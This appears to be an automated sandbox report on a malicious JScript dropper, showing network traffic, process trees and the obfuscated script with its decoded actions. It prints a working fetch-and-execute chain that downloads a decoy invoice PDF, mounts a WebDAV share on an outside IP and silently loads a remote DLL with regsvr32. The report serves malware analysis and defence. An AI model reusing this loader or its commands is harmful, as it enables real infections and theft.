Jan 11, 2025 05:20:03.690129042 CET	1.1.1.1	192.168.2.6	0x78c7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:20:27.986018896 CET	1.1.1.1	192.168.2.6	0xc8ac	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:20:27.986018896 CET	1.1.1.1	192.168.2.6	0xc8ac	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	1916	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:18:36.551141024 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:18:37.330817938 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:18:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:18:37.330848932 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:18:37.330868959 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:18:37.330887079 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:18:37.330908060 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 05:18:37.330929041 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 05:18:37.331106901 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 05:18:37.331125975 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 05:18:37.331146002 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 05:18:37.331166983 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o
Jan 11, 2025 05:18:37.335834980 CET	100	IN	Data Raw: c7 86 7e e4 d8 d0 4d 9b fa e6 04 00 00 30 0d be 58 02 80 8d 32 b7 d3 d1 1d b9 7a 2c 74 74 15 ad 39 5c d2 1c f3 57 ce 16 b9 e1 50 dd 43 c3 18 5a 73 6d 7e 32 34 8c a1 ff 35 24 3d 74 f6 cb 64 38 34 ad 0f 9d fd a1 52 1e d2 7f 9c 54 21 53 21 d2 f4 51 Data Ascii: ~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	5712	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:18:38.790309906 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:18:39.585866928 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:18:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	23:18:31
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js"
Imagebase:	0x7ff6a35a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:18:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll
Imagebase:	0x7ff62ba20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:18:33
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:18:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:18:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:18:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff62ba20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:18:38
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7dfb40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:18:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:18:38
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:18:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1360,i,14895940516282795769,6057980195024621090,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bmynpody() {	bmynpody() ➔ undefined
1	ugzmmzojm = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var zxfsfot = this[fsnbq + zrpze + zxsuassvm + jptyt + gsrofzhiy + kutdn + kdflepg + vgctinzf] ( this[wfldbm + xxqva + acmxhh + zxsuassvm + ydqyrg + fsnbq + vgctinzf][voszmteiq + zxsuassvm + gsrofzhiy + zrpze + vgctinzf + gsrofzhiy + gaunrtrru + fvbmd + bazbu + gsrofzhiy + acmxhh + vgctinzf] ( wfldbm + xxqva + acmxhh + zxsuassvm + ydqyrg + fsnbq + vgctinzf + lbnqt + xxqva + alddtgp + gsrofzhiy + bgegcmz + bgegcmz ) [ihvkgutjz + gsrofzhiy + juyctore + ihvkgutjz + gsrofzhiy + zrpze + ptgnlahdn] ( xblfips + ceqkumiy + rigyfnc + ruqbab + mtcvlbn + voszmteiq + nikgadhb + ihvkgutjz + ihvkgutjz + rigyfnc + bdytcjrkg + tsvdjz + mtcvlbn + nikgadhb + xxqva + rigyfnc + ihvkgutjz + eqjouny + voszmteiq + latfzism + kdflepg + vgctinzf + zxsuassvm + latfzism + bgegcmz + ywakytlmf + govprg + zrpze + kdflepg + gsrofzhiy + bgegcmz + eqjouny + kutdn + kdflepg + vgctinzf + gsrofzhiy + zxsuassvm + kdflepg + zrpze + vgctinzf + ydqyrg + latfzism + kdflepg + zrpze + bgegcmz + eqjouny + bocgpqx + latfzism + acmxhh + zrpze + bgegcmz + gsrofzhiy ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( lcxxtq = 0 ; lcxxtq < ugzmmzojm[bgegcmz + gsrofzhiy + kdflepg + juyctore + vgctinzf + alddtgp] ; ++ lcxxtq )
4	{
5	if ( zxfsfot == ugzmmzojm[lcxxtq] )
6	{
7	zxfsfot = true;
8	break ;
9	}
10	}
11	if ( zxfsfot !== true )
12	this[wfldbm + xxqva + acmxhh + zxsuassvm + ydqyrg + fsnbq + vgctinzf][kntxpzc + ttemctxwr + ydqyrg + vgctinzf] ( );
13	this[wfldbm + xxqva + acmxhh + zxsuassvm + ydqyrg + fsnbq + vgctinzf][voszmteiq + zxsuassvm + gsrofzhiy + zrpze + vgctinzf + gsrofzhiy + gaunrtrru + fvbmd + bazbu + gsrofzhiy + acmxhh + vgctinzf] ( wfldbm + xxqva + acmxhh + zxsuassvm + ydqyrg + fsnbq + vgctinzf + lbnqt + xxqva + alddtgp + gsrofzhiy + bgegcmz + bgegcmz ) [zxsuassvm + ttemctxwr + kdflepg] ( acmxhh + gqhrnic + ptgnlahdn + ywakytlmf + qystec + acmxhh + ywakytlmf + fsnbq + latfzism + eleau + gsrofzhiy + zxsuassvm + jptyt + alddtgp + gsrofzhiy + bgegcmz + bgegcmz + lbnqt + gsrofzhiy + uqsgyc + gsrofzhiy + ywakytlmf + odmbjrkcb + voszmteiq + latfzism + gqhrnic + gqhrnic + zrpze + kdflepg + ptgnlahdn + ywakytlmf + ivzlmi + kutdn + kdflepg + gsiusyw + latfzism + mookvf + gsrofzhiy + odmbjrkcb + wfldbm + gsrofzhiy + fvbmd + ihvkgutjz + gsrofzhiy + jzjjzngc + ttemctxwr + gsrofzhiy + jptyt + vgctinzf + ywakytlmf + odmbjrkcb + gaunrtrru + ttemctxwr + vgctinzf + vhvsg + ydqyrg + bgegcmz + gsrofzhiy + ywakytlmf + ugiwyqk + vgctinzf + gsrofzhiy + gqhrnic + fsnbq + ugiwyqk + eqjouny + ydqyrg + kdflepg + gsiusyw + latfzism + ydqyrg + acmxhh + gsrofzhiy + lbnqt + fsnbq + ptgnlahdn + odjuetf + ywakytlmf + alddtgp + vgctinzf + vgctinzf + fsnbq + tmbull + qystec + qystec + ffasfl + txqwcixq + vbxstkg + lbnqt + ffasfl + ykmoq + vbxstkg + lbnqt + ffasfl + lbnqt + emfjptbup + jfkkkxqkm + jockvy + qystec + ydqyrg + kdflepg + gsiusyw + latfzism + ydqyrg + acmxhh + gsrofzhiy + lbnqt + fsnbq + alddtgp + fsnbq + ivzlmi + iqttirix + iqttirix + jptyt + vgctinzf + zrpze + zxsuassvm + vgctinzf + ywakytlmf + ugiwyqk + vgctinzf + gsrofzhiy + gqhrnic + fsnbq + ugiwyqk + eqjouny + ydqyrg + kdflepg + gsiusyw + latfzism + ydqyrg + acmxhh + gsrofzhiy + lbnqt + fsnbq + ptgnlahdn + odjuetf + iqttirix + iqttirix + acmxhh + gqhrnic + ptgnlahdn + ywakytlmf + qystec + acmxhh + ywakytlmf + kdflepg + gsrofzhiy + vgctinzf + ywakytlmf + ttemctxwr + jptyt + gsrofzhiy + ywakytlmf + eqjouny + eqjouny + ffasfl + txqwcixq + vbxstkg + lbnqt + ffasfl + ykmoq + vbxstkg + lbnqt + ffasfl + lbnqt + emfjptbup + jfkkkxqkm + jockvy + cotffiyhc + jbwato + jbwato + jbwato + jbwato + eqjouny + ptgnlahdn + zrpze + gsiusyw + eleau + eleau + eleau + zxsuassvm + latfzism + latfzism + vgctinzf + eqjouny + iqttirix + iqttirix + acmxhh + gqhrnic + ptgnlahdn + ywakytlmf + qystec + acmxhh + ywakytlmf + zxsuassvm + gsrofzhiy + juyctore + jptyt + gsiusyw + zxsuassvm + vbxstkg + emfjptbup + ywakytlmf + qystec + jptyt + ywakytlmf + eqjouny + eqjouny + ffasfl + txqwcixq + vbxstkg + lbnqt + ffasfl + ykmoq + vbxstkg + lbnqt + ffasfl + lbnqt + emfjptbup + jfkkkxqkm + jockvy + cotffiyhc + jbwato + jbwato + jbwato + jbwato + eqjouny + ptgnlahdn + zrpze + gsiusyw + eleau + eleau + eleau + zxsuassvm + latfzism + latfzism + vgctinzf + eqjouny + jbwato + jbwato + ykmoq + azekefe + emfjptbup + jfkkkxqkm + jbwato + azekefe + jockvy + txqwcixq + emfjptbup + emfjptbup + emfjptbup + lbnqt + ptgnlahdn + bgegcmz + bgegcmz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll",0,false) ➔ 0
14	}
15	eleau = "x";
16	eleau = "c";
17	eleau = "b";
18	eleau = "Z";
19	eleau = "c";
20	eleau = "j";
21	eleau = "w";
22	jzjjzngc = "n";
23	jzjjzngc = "I";
24	jzjjzngc = "v";
25	jzjjzngc = "A";
26	jzjjzngc = "h";
27	jzjjzngc = "s";
28	jzjjzngc = "l";
29	jzjjzngc = "m";
30	jzjjzngc = "I";
31	jzjjzngc = "q";
32	mookvf = "f";
33	mookvf = "A";
34	mookvf = "r";
35	mookvf = "R";
36	mookvf = "K";
37	mookvf = "f";
38	mookvf = "O";
39	mookvf = "B";
40	mookvf = "B";
41	mookvf = "I";
42	mookvf = "d";
43	mookvf = "h";
44	mookvf = "i";
45	mookvf = "P";
46	mookvf = "F";
47	mookvf = "X";
48	mookvf = "b";
49	mookvf = "u";
50	mookvf = "F";
51	mookvf = "I";
52	mookvf = "U";
53	mookvf = "K";
54	mookvf = "L";
55	mookvf = "z";
56	mookvf = "R";
57	mookvf = "d";
58	mookvf = "C";
59	mookvf = "x";
60	mookvf = "g";
61	mookvf = "J";
62	mookvf = "a";
63	mookvf = "N";
64	mookvf = "j";
65	mookvf = "X";
66	mookvf = "A";
67	mookvf = "P";
68	mookvf = "k";
69	txqwcixq = "x";
70	txqwcixq = "h";
71	txqwcixq = "S";
72	txqwcixq = "I";
73	txqwcixq = "e";
74	txqwcixq = "e";
75	txqwcixq = "G";
76	txqwcixq = "l";
77	txqwcixq = "c";
78	txqwcixq = "X";
79	txqwcixq = "u";
80	txqwcixq = "K";
81	txqwcixq = "E";
82	txqwcixq = "C";
83	txqwcixq = "s";
84	txqwcixq = "p";
85	txqwcixq = "v";
86	txqwcixq = "p";
87	txqwcixq = "B";
88	txqwcixq = "s";
89	txqwcixq = "j";
90	txqwcixq = "c";
91	txqwcixq = "Q";
92	txqwcixq = "d";
93	txqwcixq = "P";
94	txqwcixq = "l";
95	txqwcixq = "L";
96	txqwcixq = "q";
97	txqwcixq = "i";
98	txqwcixq = "t";
99	txqwcixq = "R";
100	txqwcixq = "T";
101	txqwcixq = "A";
102	txqwcixq = "l";
103	txqwcixq = "C";
104	txqwcixq = "x";
105	txqwcixq = "Y";
106	txqwcixq = "A";
107	txqwcixq = "s";
108	txqwcixq = "9";
109	iqttirix = "o";
110	iqttirix = "&";
111	latfzism = "D";
112	latfzism = "c";
113	latfzism = "v";
114	latfzism = "o";
115	latfzism = "v";
116	latfzism = "a";
117	latfzism = "C";
118	latfzism = "A";
119	latfzism = "a";
120	latfzism = "v";
121	latfzism = "g";
122	latfzism = "f";
123	latfzism = "v";
124	latfzism = "p";
125	latfzism = "x";
126	latfzism = "h";
127	latfzism = "H";
128	latfzism = "x";
129	latfzism = "v";
130	latfzism = "u";
131	latfzism = "X";
132	latfzism = "s";
133	latfzism = "y";
134	latfzism = "M";
135	latfzism = "o";
136	vhvsg = "J";
137	vhvsg = "h";
138	vhvsg = "f";
139	vhvsg = "H";
140	vhvsg = "E";
141	vhvsg = "x";
142	vhvsg = "Y";
143	vhvsg = "T";
144	vhvsg = "J";
145	vhvsg = "k";
146	vhvsg = "z";
147	vhvsg = "m";
148	vhvsg = "Z";
149	vhvsg = "l";
150	vhvsg = "U";
151	vhvsg = "K";
152	vhvsg = "b";
153	vhvsg = "v";
154	vhvsg = "w";
155	vhvsg = "F";
156	gqhrnic = "s";
157	gqhrnic = "H";
158	gqhrnic = "n";
159	gqhrnic = "P";
160	gqhrnic = "r";
161	gqhrnic = "Z";
162	gqhrnic = "U";
163	gqhrnic = "c";
164	gqhrnic = "M";
165	gqhrnic = "F";
166	gqhrnic = "L";
167	gqhrnic = "k";
168	gqhrnic = "O";
169	gqhrnic = "p";
170	gqhrnic = "A";
171	gqhrnic = "B";
172	gqhrnic = "c";
173	gqhrnic = "t";
174	gqhrnic = "K";
175	gqhrnic = "o";
176	gqhrnic = "o";
177	gqhrnic = "C";
178	gqhrnic = "N";
179	gqhrnic = "g";
180	gqhrnic = "t";
181	gqhrnic = "t";
182	gqhrnic = "P";
183	gqhrnic = "p";
184	gqhrnic = "H";
185	gqhrnic = "V";
186	gqhrnic = "m";
187	nikgadhb = "Z";
188	nikgadhb = "H";
189	nikgadhb = "r";
190	nikgadhb = "X";
191	nikgadhb = "r";
192	nikgadhb = "z";
193	nikgadhb = "a";
194	nikgadhb = "g";
195	nikgadhb = "i";
196	nikgadhb = "I";
197	nikgadhb = "B";
198	nikgadhb = "Y";
199	nikgadhb = "U";
200	juyctore = "g";
201	juyctore = "o";
202	juyctore = "A";
203	juyctore = "e";
204	juyctore = "I";
205	juyctore = "C";
206	juyctore = "s";
207	juyctore = "y";
208	juyctore = "g";
209	juyctore = "k";
210	juyctore = "v";
211	juyctore = "l";
212	juyctore = "E";
213	juyctore = "G";
214	juyctore = "O";
215	juyctore = "R";
216	juyctore = "o";
217	juyctore = "C";
218	juyctore = "C";
219	juyctore = "M";
220	juyctore = "l";
221	juyctore = "E";
222	juyctore = "I";
223	juyctore = "n";
224	juyctore = "z";
225	juyctore = "b";
226	juyctore = "o";
227	juyctore = "p";
228	juyctore = "G";
229	juyctore = "i";
230	juyctore = "E";
231	juyctore = "U";
232	juyctore = "s";
233	juyctore = "m";
234	juyctore = "n";
235	juyctore = "H";
236	juyctore = "t";
237	juyctore = "S";
238	juyctore = "V";
239	juyctore = "p";
240	juyctore = "g";
241	alddtgp = "n";
242	alddtgp = "M";
243	alddtgp = "d";
244	alddtgp = "Y";
245	alddtgp = "L";
246	alddtgp = "a";
247	alddtgp = "h";
248	alddtgp = "B";
249	alddtgp = "k";
250	alddtgp = "T";
251	alddtgp = "r";
252	alddtgp = "K";
253	alddtgp = "l";
254	alddtgp = "Z";
255	alddtgp = "L";
256	alddtgp = "c";
257	alddtgp = "A";
258	alddtgp = "B";
259	alddtgp = "j";
260	alddtgp = "M";
261	alddtgp = "h";
262	kdflepg = "U";
263	kdflepg = "u";
264	kdflepg = "e";
265	kdflepg = "h";
266	kdflepg = "o";
267	kdflepg = "y";
268	kdflepg = "Y";
269	kdflepg = "V";
